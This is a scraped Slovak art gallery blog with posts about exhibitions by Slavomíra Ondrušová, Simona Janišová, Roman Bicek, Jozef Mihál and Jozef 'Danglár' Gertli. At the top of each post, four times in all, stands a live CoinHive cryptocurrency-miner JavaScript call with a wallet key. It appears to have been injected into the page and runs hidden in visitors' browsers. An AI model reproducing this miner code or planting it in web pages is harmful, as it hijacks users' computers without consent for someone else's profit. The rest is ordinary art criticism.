var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); _JK08236

Predstavujeme autorov I: Slavomíra Ondrušová a Simona Janišová

Pohľad do inštalácie výstavy Zamatový objekt túžby s dielami Simony Janišovej.

Na výstave Zamatový objekt túžby aktuálne vystavujú dve autorky, ktoré študovali na VŠVU a pohybujú sa v odboroch, bežne nazývaných ako úžitkové umenie. Obidve autorky však v svojej tvorbe balansujú na hrane toho, čo úžitkovým ešte nazývať môžeme – v prípade Slávky Ondrušovej je to šperk a v prípade Simony Janišovej keramika či presnejšie porcelán. Obidve teda primárne pracujú aj s ušľachtilými materiálmi, ale v svojom výsledku vytvárajú predmety a inštalácie, ktoré sa už prehupli do sféry voľného umenia. Cieľom ich tvorby nie je definovať nejaký účel, ale skôr ponúknuť divákovi šancu premýšlať, alebo ho nejakým spôsobom iniciovať k vyjadreniu emócií, či k intelektuálno-estetickému zážitku.

_JK08251Pohľad do inštalácie v Gagarinke – v popredí Slavomíra Ondrušová, Daniel, 2015.

Prvá z dnes predstavovanej dvojice, Slavomíra Ondrušová, študovala šperk na VŠVU vo veľmi úspešnom ateliéri Karola Weisslechnera, ktorý vychoval silnú generáciu slovenských šperkárov. Aj vďaka jeho dnešným mnohým absolventom je u nás šperk už dávno vnímaný ako súčasné umenie vystavované v galériách, pritom však svoju pôvodnú funkciu úplne nestratil.

Tvorba Slavomíry Ondrušovej prešla od prvotných menších šperkárskych diel k zintenzívneniu jej záujmu o kresbu a o rozprávanie príbehov. Mnohé jej inštalácie z predošlých výstav sa zaoberajú viac naráciou a narábaním s priestorom galérie, ako materiálovou kvalitou, akú by sme pri šperku očakávali. Slávka si však tieto obyčajné materiály vyberá zámerne, kedže rozpráva obyčajné príbehy, aké sa stávajú hocikomu z nás.

Jej intenzívny záujem o vlastné kreslenie prirodzene prešiel k záujmu o kresbu ako takú. Tak zrejme vznikol aj časopis X, venovaný súčasnej kresbe nielen na Slovensku, ktorý založili  na začiatku roka 2013 spolu s Milanom Vagačom. Z úlohy kresliarky sa Slavomíra posunula do úlohy výskumníčky na poli kresby. Takýto prístup jej však bol vždy blízky, ako hovorí aj na svojom blogu “hlavnou súčasťou mojej práce je skúmanie vzťahu medzi kresbou a priestorom a rolou, akú hrá kresba v kreatívnom procese myslenia a tvorby. Vo svojej práci kresbu ako aj šperk dekonštruujem na základné prvky. Kresba je pre mňa ako myslenie, vedie vás od jednej idey k druhej. Snažím sa túto slobodu v kresbe previezť aj do vytvárania šperkárskych objektov”.

7Z predchádzajúcej výstavy vo dvojici v Nitrianskej galérii, 2013, spoluautor a foto: Milan Vagač.

Výskum média kresby a jeho prenosu do priestorových objektov a inštalácií sa pretavil aj do  hravej a zároveň analytickej výstavy Sláva Milanovi, Milan Sláve!, ktorú taktiež s Vagačom pripravili pre Nitriansku galériu v roku 2013. Skúmali tu jednak vystúpenie kresby z papiera a jej objektivizáciu – premenu na objekt, ako aj reprezentovali zvláštnosť umeleckej spolupráce ako takej na princípe hry: posuň a dokresli ďalej. V ich prípade sa hra stala novou hrou: zhmotni moju kresbu. Výsledné diela samozrejme nemali takýto zjednodušujúci charakter, boli prezentáciou rozličných reakcií jedného autora na kresbu druhé autora, kde sa uplatnilo veľké množstvo netradičných materiálov od hier až po listy.

16

17Z výstavy v Nitre pod názvom Sláva Milanovi, Milan Sláve!, 2013, foto: Milan Vagač.

Podobný druh humoru Slavomíra využíva aj v Galérii Gagarinka v svojej inštalácii s názvom Daniel. Aj keď ide na prvý pohľad o vážnejší príbeh – rozprávanie o vzťahu a možno aj jeho temnejších momentoch, Slávka príbeh rozpráva s určitým odstupom a v jej hravých objektoch z plastu sa prejavuje autorkin humorný pohľad na vlastný príbeh. Tieto mini-objekty, vložené medzi denníkové záznamy a kresby, sú na jednej strane akýmisi výrastkami textu do priestoru, akoby na samotnom príbehu vyrástlo niečo cudzie a možno cudzopasné. Na druhej strane plastové výrastky majú mierne falický tvar, akoby mimovoľne vtlačený plastelínovej hmote. Ich detská forma korešponduje s rukopisom, ktorý Slávka využíva v kresbách, ale aj smaltovaných objektoch, ktoré sú súčasťou kompozície. Stôl z ateliéru a akoby náhodne poukladané predmety nás nenápadne vpúšťajú do autorkinho súkromia.

_JK08264Slavomíra Ondrušová: Daniel, inštalácia na výstave Zamatový objekt túžby v Gagarinke.

_JK08257Pohľad do inštalácie výstavy Zamatový objekt túžby.

 Simona Janišová vyštudovala odbor keramika a relatívne skoro sa vo svojej tvorbe preorientovala od klasických keramických materiálov k ušľachtilému a krehkému porcelánu. Prístup k porcelánu ako dizajnérskemu materiálu v tom čase nebol u slovenských keramikov bežný, keďže väčšina dielní – fabrík na vypaľovanie porcelánu, ktorý potrebuje veľmi vysoké teploty, je až v Čechách. Práve tam mala možnosť sa zoznámiť s redukčným pálením tvrdého porcelánu, počas sympózií v Dubí ako aj v manufaktúre Daniela Piršča.

_JK08242Inštalácia Simony Janišovej zo série Glory Box na výstave Zamatový objekt túžby v Gagarinke.

Séria Glory Box bola Simoninou magisterskou prácou, a práve ňou sa dostala do povedomia. Keďže kedysi uvažovala nad štúdiom sochy, jej porcelánové figúry mužov sú skôr malými plastikami, s dizajnovými kvalitami doplnenými vtipnou kresbou. “Glory Box označuje truhlu so svadobnou výbavou nevesty. Moja kolekcia keramických a porcelánových objektov vznikla na základe tejto tradície. Svadobná výbava nevesty bola pôvodne zbierka hlavne praktických predmetov, ktoré mala žena používať po celý zvyšok života. Séria mužských figúr je zas poctou mužom, ktorí ma ovplyvnili a ktorých zbožňujem. ” hovorí Simona s vtipom o svojej práci, o novom chápaní týchto praktických predmetov, ktoré si sama vytvorila.

Série ako Hope chest, Glory box alebo I love you taktiež ironizujú klasickú porcelánovú plastiku, tak obľúbenú v určitých obdobiach dejín umenia. Jelenčeky a ďaľšie poľovnícke motívy sú transformované do súčasnej podoby a hravým spôsobom hovoria aj o téme lásky a vzťahov.

simonakiss1Simona Janišová: I Love You, foto: autorka.

simona71Panák zo série Glory Box. foto: Simona Janišová.

Hravosť a zároveň schopnosť vytvárať netradičný objekt je dokonale skĺbená v sérii objektov- díld na aktuálnej výstave v Gagarinke. Simona tu používa ušľachtilý bielo a perleťovo glazovaný porcelán na vytvorenie erotických pomôcok, ktoré tvoria jej výbavu pre nevestu. Ako sama hovorí: “tvarovo predimenzované objekty netematizujú len sex a erotiku, ale aj keramiku ako fetišizovaný materiál. Zaradila som ich do výbavy súčasnej nevesty, ktorá zostáva často sama doma ,-)”. Objekty sú pokračovaním a súčasťou série Glory box.

Objekty svojím tvarom lákajú k uchopeniu a ich taktilná príťažlivosť je ešte podčiarknutá bielymi kožušinkami. Objekty však zároveň nepopierajú svoju krehkosť a ľahko by mohli patriť k výbave rozmarnej slečinky minulých storočí, obklopenej drahými obrazmi vo svojom vidieckom sídle. Nápisy na povrchu sú citoslovcami, ktoré sa zas pohrávajú s použiteľnosťou objektov, vtipkujú nad možnostou výberu, ktorý tvar by si tá ktorá nevesta zvolila. Simona ich nazýva svojím “vyjadrením lásky ku keramickým materiálom” a naozaj v nich naplno využila možnosti povrchovej úpravy porcelánu.

 V súčasnosti sa Simona venuje aj spoločnému projektu si.li. S Lindou Vikovou vytvárajú prevažne užitkové porcelánové predmety doplnené kresbami alebo textom, nadväzujúc tak na svoju voľnú tvorbu.

_JK08237Pohľad do Simoninej inštalácie díld zo série Glory Box v Gagarinke.

_JK08243Dildá Simony Janišovej v Galérii Gagarinka.

Text: Juliana Mrvová, kurátorka výstavy. Fotografie diel a inštalácie v Galérii Gagarinka: Adam Šakový. Výstavu Zamatový Objekt túžby si môžete pozrieť až do 7. marca.               

Viac o autorkách a ich dielach nájdete aj tu:

Na blogu Slavomíry Ondrušovej nájdete niektoré jej projekty s fotografiami a textami v angličtine  http://slavomirao.blogspot.sk/

Slavomíra je tiež polovicou redaktorskej dvojice časopisu X  http://casopix.blogspot.sk/

Tvorbu Simony Janišovej nájdete na jej stránke http://www.simonajanisova.sk/portfolio/

A tiež na stránke spoločného projektu s Lindou Vikovou http://www.siliceramics.com

A skvelý rozhovor so Simonou nájdete aj na Hemmete http://www.hemmet.sk/2014/02/simona-janisova.html

 

 


Na výstave v Kabinete" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/02/roman1.jpg" data-share-excerpt="Roman Bicek a Monika Pascoe Mikyšková v Kabinete" class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); Processed with VSCOcam

Na výstave v Kabinete

Autor Roman Bicek pri svojich dielach.

V piatok 6. februára sme navštívili priestor Sabiny Schuckert na Račianskej ulici, aby sme si pozreli vernisáž výstavy mladého maliara Romana Biceka s názvom Guardian of Culture.

Priestor Sabiny Schuckert je voľným pokračovaním predchádzajúceho showroomu Max Klinger, v ktorom jeho majiteľ Vlado Zelenák už pred pár rokmi začal spájať kvalitý design s výtvarným umením. Pravidelne sa obmieňajúce výstavy súčasného, prevažne mladého umenia, sa stali miestom stretnutí jeho priaznivcov. Tento mesiac sa prezentuje maliar Roman Bicek a jeho šťavnaté, humorné až ironické diela s dávkou kritického pohľadu na súčasnosť.

Roman Bicek študoval na Bratislavskej VŠVU, avšak krátko po štúdiách sa presunul do Prahy, kde má aktuálne ateliér. Okrem maľovania svojich obrazov, pracuje v divadelných dielňach, čo je, ako sám povedal “zábavná a zaujímavá práca, keďže kulisy majú obrovské rozmery a miesto štetca teda skôr používame metly, kompresory a iné neobvyklé nástroje.”

priestor

Obraz Guardian of culture sa stal akýmsi logom výstavy a vyjadruje autorov ironický pohľad na všetkých militantných obrancov kultúry, tých, ako sám povedal, ktorí  “uznávajú iba jeden druh umenia a ten budú vytrvalo brániť”. Roman totiž považuje umenie za niečo živé a prístupné aj pre bežného človeka, čo v sebe skrýva množstvo odkazov na svet okolo neho. V Romanových obrazoch nájdeme politiku v podobe Angely Merkelovej s krvavými boxerskými rukavicami, citácie z rozprávok a komixov či z nízkej alebo popovej kultúry, B-čkových filmov rovnako ako narážky na gýč. “Baví ma miešať viaceré veci v obraze a koketovať s gýčom či pohybovať sa na hrane naivného. Rád uvádzam diváka do rozpakov…” porozprával nám Roman a popritom pospomínal niekoľko svojich inšpiračných zdrojov, ako sú časopisy, fotografie, televízia či komix.

Nás zaujal obraz na ktorom múmia z tínedžerských filmov láskyplne naťahuje ruku za motýlikom ale zároveň vchádza do kresťanského skautského tábora, takže ako Roman nezabudol upozorniť ” o chvíľu bude problém”.

Processed with VSCOcam

Nielen tento obraz, ale aj viaceré ďalšie Romanove diela okrem sviežej expresívnej maľby diváka oslovia práve svojím humorom. Vizuálna hra sa do punkovejšej podoby dostala v Romanovej inštalácii na záchodoch, kde vystavil svoje obľúbené koláže z rôznych b-čkových časopisov s dokreslenými komentármi, presne v duchu nápisov na záchod. Aj tu však hravosť vizuálnej formy má prim nad kritickým pohľadom na spoločnosť. Roman upozorňuje na niektoré momenty súčasného sveta ako v Hammeri na sídlisku, ale pritom sa vždy úspešne vyhne moralizovaniu. Aj preto sú jeho výstavy viacvrstvovou hrou s významami a zároveň ukážkou skvelej expresívnej maľby, akú na Slovensku nevidíme často.

Romanove diela si na výstave môžete pozrieť počas mesiaca február.

Processed with VSCOcamProcessed with VSCOcamProcessed with VSCOcamProcessed with VSCOcam

 

U Sabiny Schuckert sme tesne pred Romanovou vernisážou zastihli pri deinštalácii aj autorku predchádzajúcej výstavy Moniku Pascoe Mikyškovú, maliarku a kresliarku, ktorá sa v poslednej dobe intenzívne venuje akvarelu.

Jej mierne snové zvláštne diela s témami kombinujúcimi mytologické a osobné príbehy sú osobitým príspevkom ku kresbe na Slovensku. Ponúkame Vám niekoľko diel z najnovšej série tak ako ich Monika vystavila v januári.

Processed with VSCOcam

Processed with VSCOcam

Processed with VSCOcam

miesto: Showroom Kabinet  a Illuma, Račianska 22/A, Bratislava
aktuálna výstava: Roman Bicek: Guardian of Culture
trvanie: od 6. februára 2015
text a foto J.M.
foto z vernisáže: Andrej Fridrich
 

 


JOZEF MIHÁL: Pink Rabbit v galérii HotDock" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2014/12/2014-12-11-05.43.35-2.jpg" data-share-excerpt="" class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); Processed with VSCOcam

JOZEF MIHÁL: Pink Rabbit v galérii HotDock

Processed with VSCOcam V polovici decembra sa v Galérii HotDock otvárala výstava sochára Jozefa Mihála (1985-2009). Na vernisáži, kde mal úvodné slovo Laco Teren, sa stretla skupinka ľudí, ktorí si našli čas v predvianočnom pretlaku kultúrnych podujatí.

 Galéria HotDock, ktorú kedysi otvoril Juraj Rattaj na Groslingovej ulici a tam existovala niekoľko rokov, je momentálne znovuotvorená v Bratislavskom prístave. V jednom z prístavných skladov na ostrove je na najvrchnejšom poschodí biely priestor – takmer white cube. Juraj Rattaj veľmi citlivo upravil industriálny charakter horného poschodia budovy, akých je už v Bratislave málo. Galéria ma pridanú hodnotu- výhľad zo strechy na bratislavský nákladný prístav, ktorý v noci na vernisáži pôsobil ako jedno z posledných magických miest tohto mesta. Dlhá úzka galéria „na streche“, pripomínajúca trochu odstavený železničný vagón, poskytla priestor sochám z „lacných“ materiálov, aké vytváral Jozef Mihál v rokoch 2005-2009.

Processed with VSCOcam

Ako povedal Laco Teren v úvodnom texte, Jozefove sochy „nestratili nič na aktuálnosti a samozrejmosti, s ktorou vznikali.“ Jozef Mihál tu už nie je, ale sochy v čistej inštalácii potvrdili svoju kvalitu, ktorú sme im pripisovali. A môj text je tak trochu osobnejší, keďže ho píšem zo spomienok.

Na Zlaté Piesky priviedol Jozefa umelec Richard Seneši, ako svojho kolegu zo školy, a hneď bolo jasné, že Jozef tam chvíľu zostane. Sochár potrebuje priestor, a toho bolo dosť, a okrem toho aj kopec rôzneho odpadového materiálu, dreva, plastov, pneumatík, ktorý Jozef rád používal pri tvorbe. Už predtým vytvoril niekoľko objektov z karosérií automobilov obalených mäkkými materiálmi ako perie, látky, kusy hračiek, záclony. Zmäkčenie ostrého a tvrdého kovu ho zaujímalo ako kontrast materiálov, organických a umelých, vrstvenia mäkkých na tvrdé, ale aj ako zmena kontextu a identity objektu. Materiály z osobného života s dotykom ľudí, ktorí ich používali, vrstvili svoje príbehy na neosobné zbytky stroja. Jedno z diel – veľký kruh z látok, papiera a iných útržkov s „kopijou“ z karosérie auta, je vstupným dielom na výstave a možno je to jeho najpôsobivejšie nainštalovanie doteraz.

Processed with VSCOcam

Processed with VSCOcam Processed with VSCOcam

Processed with VSCOcam

Výstava Pink Rabbit v galérii HotDock.

Ostatné diela na výstave pochádzajú z dvoch hlavných sérií Jozefa Mihála, v ktorých používa zbytky nábytku, staré dosky a kusy preglejky. Vytvára z nich nadrozmerné kópie dizajnových objektov ako v sérii Pink Rabbit alebo voľné sochy inšpirované prírodnými modelmi, často novšími kresbami rastlín, plodov a prírodnými štruktúrami. Obe tieto série vytvoril na Zlatých Pieskoch v ateliéroch tranzit a využíva tu množstvo nájdeného materiálu, zbytkov z výstav a realizácií, na ktorých sa podieľal.

Jozef totiž, okrem svojej tvorby, pravidelne inštaloval výstavy, alebo realizoval diela iným autorom. Jeho povestná zručnosť sa rýchlo rozchýrila. Jedným z posledných projektov, na ktorých sa zúčastnil, bola inštalácia diela Romana Ondáka s názvom Loop na Benátskom bienále.

Jozef síce o svojich dielach nerád veľa rozprával, ale je celkom jednoduché čítať niektoré významy, ktoré vedome používal. V sérii Pink Rabbit, čo bola jeho bakalárska práca, vytváral z dreveného „odpadu“ zväčšeniny flakónov a nádob kozmetického priemyslu. Tuba na krém, flakónik parfému či šróbovací téglik Pink Rabbit sa v priestorovej inštalácii stávajú svojbytnými objektami, niečo medzi sochou a možno až nábytkovým kusom. V inštalácii vznikajú priestorové súvislosti, ktoré narábajú s kritériami mierky, formy a tvaru. Naznačenie dokonalého hladkého povrchu sa vo väčšej časti stratí a odkryje „ošarpaný“ starý plot z dosiek, ktorý sa skrýval pod ním. Jozef rád fotil otrhané staré plagáty a múry – tieto povrchy pripomínajú postupné opadávanie krásnej škrupinky, ktorá je len nánosom púdru a odkrývajú drsný, ale možno krajší povrch drevených dosiek… Skúšam si spomenúť na Jozefove slová, ale aj tak priznávam, že časť interpretácie zostane moja osobná. Naisto však môžem povedať, že kontrast umelej krásy make-upu voči prirodzenej kvalite nájdeného materiálu bol jedným z nosných prvkov tejto práce. A samozrejme – zmena mierky.

hotove 02

Čo sa týka ďalších diel na výstave, konkrétne objektu-skladačky z bukasových dosiek so vztýčeným „sťažňom“ a veľkého objektu z dreva a kusov pneumatík, ukladaných ako škridle alebo koža zvierat, o tých Jozef hovoril ako o biomorfných tvaroch. Inšpiroval sa jednak povrchmi z prírody, ale hlavne rôznymi časťami tela rastlín, z ktorých abstrahoval výsledný tvar. Ten posledný sme svorne volali „stehno“ a Jozef práve v ňom doviedol do dokonalosti svoju cit pre materiál a schopnosť pretvárať ho nečakaným spôsobom. Jozef nemal problém, ktorý trápi mnohých umelcov; čokoľvek si vymyslel a navrhol, dokázal to zrealizovať v presnom materiály. A vedel s ním dokonale pracovať a vycítiť jeho danosti, guma, drevo, mäkké látky, či kov, niesli pre neho odkaz a tému už len v svojej materiálovej kvalite a v svojom pôvode. Išlo obvykle o odpady, nepotrebné veci, zbytky života iných ľudí.

jožko 04

jozef tranzit 10jozef tranzit 9

Objekt na výstave Workshop 005 v Tranzit dielňach 2008, spolu s obrazmi Moniky Mikyškovej.

Na výstave nie sú prezentované úplne posledné Jozefove práce, ktoré vytvoril ako site specific inštalácie pre priestor bývalého obchodu na Panenskej ulici na výstavu Stories from the Golden Sands. Kurátor Juraj Rattaj vsadil na väčšie a monumentálnejšie diela, ktoré tvorili základnú líniu Jozefovej tvorby. A v danom priestore ich jednoduchosť a zároveň presnosť formy môže naplno vyznieť.

jozef socha panenská 1

jozef stena 2

Diela na výstave Stories from the Golden Sands, 2009.

Na vernisáži síce nebolo veľa návštevníkov, ale ako povedal Rasťo Sedlačík „ tí čo mali príjsť prišli“. Výstavu si môžete po dohode s kurátor Juraj Rattajom stále pozrieť v novom HotDocku.

Autor: Juliana Mrvová

„Jozef pracoval tak, ako žil – skromne, introvertne a nenásilne. Snažil sa z mála urobiť veľa, čo sa mu aj podarilo. Z mála nemyslím témou, či koncepciou, ale skôr prístupom. Prístupom k materiálu – ako ho použiť a prispôsobiť svojim formám. Paralela s arte poverou
či až s magickým realizmom je zrejmá. Pre mňa jeho objekty nefungujú samostatne účelovo ako “sochy” objekty, ale skôr ako určité scenérie, ktorými sa pohyboval. Svoj svet, ktorý je pre nás nepoznaný, nám vykresľuje pomocou použitých materiálov, rozmermi svojich objektov, vytrhnutím z každodennosti a tém, ktoré sú až romantické.

Nie je to kritika, nie sú to angažované veci, sú to jeho slobodné znázornenia. Z rozhovorov s Jozefom viem, že obsahovo častokrát okrem použitého materiálu, čerpal pri vytváraní svojich prác z literatúry, čo vnímam ako úplne legitímny prístup.

Osobne pociťujem na niektorých veciach, že sú vytvorené ešte na akademickej pôde a preto s určitou ľútosťou premýšľam, aké zaujímavé by bolo sledovať kam by sa jeho talent rozrastal. “

mgr.art. Juraj Rattaj, kurátor výstavy

Processed with VSCOcam Processed with VSCOcam

„Ak by som mal niečo povedať k forme, ktorú Jožo dokázal dať svojim sochám resp. objektom, tak je pre mňa najzaujímavejšie, že použitím “odpadových materiálov” vytvoril diela v ktorých cítiť náhlivosť jeho výpovede, zároveň im však dal aj istú “estetičnosť”, ktorá však ani zďaleka neprekročila hranicu vtieravosti.

Tak isto vytvoril diela, ktoré fungujú v skupinách, ak však ktorúkoľvek vytiahneme z celku, bez problémov dokáže fungovať ako solitér.“

Mgr. Art. František Bohunický

Processed with VSCOcam Processed with VSCOcam

„Zámerom umelca je veci nedopovedať. Ale nerobí to preto, aby sme ich dopovedali my, ale aby ostal koniec otvorený. Aby bolo kadiaľ uniknúť, prejsť na druhú stranu, alebo len ísť pomaly na sever, tlačiac svoju káru, krok za krokom k večnosti, ktorej jednou z brán je márnosť…“

Laco Teren v príhovore k výstave.

Daľšie diela a výstavy Jozefa Mihála:

PHOT0004.JPG

Výstava v podzemí VŠVU na Drotárskej ceste.

PHOT0046.JPG

jožko 02 hala 2, 04

V tranzite s Richardom Senešim 2008.

martin jozef 5 martin 2009

Výstava v Martine, spolu s viacerými autormi, tu s Monikou Mikyškovou a Mirou Gáberovou.

PHOT0113.JPGPHOT0009.JPG

Z dielne v tranzite.

Fotografie v texte: Juliana Mrvová, kresby a ateliér: z portfólia Jozefa Mihála.

14.5.2009, 3

 

 


PRÍBEH OBRAZU Jozefa “Danglára” Gertliho" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2014/11/JK01981-e1417123101758.jpg" data-share-excerpt="Jozef "Danglár" Gertli na výstave Objavil som kód do 30.11." class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); _JK01981

PRÍBEH OBRAZU Jozefa “Danglára” Gertliho

095 Dielo Jozefa “Danglára” Gertliho, kresliara a karikaturistu Bondy-Cyberkomix z roku 1997 má zaujímavý príbeh. Obraz vznikol ako “objednávka” od Laca Terena na výstavu Kamarátschoft is gút v roku 1997 do bratislavského Domu umenia.

Išlo o generačnú výstavu priateľov umelcov, ktorú pripravoval Teren práve s filozofom a spisovateľom Egonom Bondym pre vtedajší Dom Umenia. Iniciačným momentom výstavy boli stretnutia Spoločenstva Veľkého kotla v Terenovom ateliéri, pri ktorých umelci a intelektuáli diskutovali pri dobrom jedle. Z partie Veľkého kotla vzišla zostava vystavujúcich: umelci Jozef Danglár Gertli, Ivan Csudai, Jozef Baus, Marko Vrzgula, Roman Ondák, Laco Teren, Dušan Nagel, Albert Marenčin so svojimi kolážami, básnik Jiří Olič a jeho “vyderačské verše” , Dušan Hanák a jeho básne, Egon Bondy, Jano Štrasser, Peter Popelka, Oleg Pastier a neskôr pribudol Martin Marenčin a Jano Kodoň. Výstava z Bratislavy putovala do Oravskej galérie do Dolného Kubína a do Elektrárne Poprad.

Danglárova veľkoformátová maľba vznikla na základe kresby do Bondyho knižky Cyberkomix a samotný Egon Bondy je zobrazený ako starý muž na obraze. Laco Teren o vzniku obrazu hovorí: “Bolo to prvé “Terenove štipendium”, v ktorom som neskôr pokračoval. Dal som Jožkovi veľký rám a farby, aby kresbu zväčšil a namaľoval na plátno. Bol to myslím prvý Danglárov obraz a na túto výstavu vznikli ešte dve plátna.”

_JK01996 BATMAN & SLEPEC MINSKI OPERUJÚ MICKEY MAUSA, sympózium “velký formát” Valtice, 2001

Veľký formát kresbe dodal na pôsobivosti a neskôr Danglár vytvoril daľšie obrazy na plátne, jeden z posledných veľkých formátov je tiež vystavený v Gagarinke. ( BATMAN & SLEPEC MINSKI OPERUJÚ MICKEY MAUSA, sympózium Velký formát Valtice, 2001)
Obraz Bondy-Cyberkomix sa neskôr zjavil aj na daľších výstavách, spomenieme poctu Egonovi Bondymu v tranzit dielňach v roku 2008 a naposledy v Rožňave na výstave v rámci cyklu Rožnavské Radiály.

Spýtali sme sa Jozefa, aký má vzťah k tomuto obrazu. Jozef, na čo myslíš, keď ho teraz vidíš po takej dobe?
Som rád, že tento konkrétny obraz je Laciho majetok, pretože už by som inak asi ťažko vypátral, kde skončil. V skutočnosti som naň zabudol. Keď som ho teraz po rokoch videl, okamžite sa mi vynoril štamgast od “Anjelov”, udergrounďák a zarytý ľavičiar Bondy, ktorý hulil Mars-ky a hojne ich zalieval Mimózou a stále viedol zanietené debaty oblečený vo svojom neodmysliteľnom červenom svetri a hnedom menčestrovom sáčku. Ilustroval som mu dve knihy, ktoré napísal tu v Bratislave, kam, ako tvrdil, ušiel pred Klausovým kapitalizmom.

  EB1 EB3 Egon Bondy & Danglár

Keď starý pán videl hotové obrazy, ktoré som namaľoval podľa čiernobielych kresieb v jeho knihe, bol nadšený a vyhlásil: “Pane Dangláre, vy malujte!”. Takže je pravda, že som začal malovať aj vďaka Lacovi, ale fakt je aj to, že už predtým som namaľoval v ateliéri u Doda Bausa 13 plátien, ktoré keď sa zložili, bola z toho 4 a pol metra veľká komixová stena, a to už je dosť monumentálny kúsok, nie? Ale boli čiernobiele. Bol som taký kočovný maliar, bez ateliéru…

Ako často dnes robíš na plátno? Je to pre Teba veľmi odlišný spôsob práce ako kresba?
Maľovanie je iná práca. Základný rozdiel je v tom, že pri ilustráciách, to je jedno, či sú do časopisov, alebo na obálky kníh, sú dané mantinely, čo by tam asi malo byť a naopak, čo tam nesmie byť, aby to niekoho nenasralo. A sú tam samozrejme termíny, ktoré musím stihnúť, ako sme hovorievali v reklamke: najlepšia motivácia je deadline. Takže to je taká všedná práca a okrem toho noviny a časopisy sa aj tak vyhadzujú do smetí. Maľovanie, to je vyššia liga, v tom som úplne sám, a to je na tom super. Vyžaduje si to viac času, ale nikto mi do toho nekecá. Keď mám obrazy v hlave poskladané, stačí si na to vyhradiť čas a namaľovať ich. Nieje to až tak často, ako by som chcel, ale ten pocit “výroby” je skvelý.

Ďakujeme Danglárovi ako aj autorom fotografií: Martin Marenčin fotil Danglára s Bondym, Adam Šakový fotil výstavu v Gagarinke a Juraj Bartoš fotil vernisáž v Gagarinke. Výstava v tranzit dielňach je z archívu Juliany Mrvovej, text J.M.

výstava potrvá už len do nedele 30.novembra.

_JK01974

024  Danglár v Gagarinke 2014

IMG_2779 a Danglár v tranzite, 2008

IMG_2788 Ilustrácie k Cyberkomixu

IMG_2840

IMG_2872 Egon Bondy v tranzite, 2008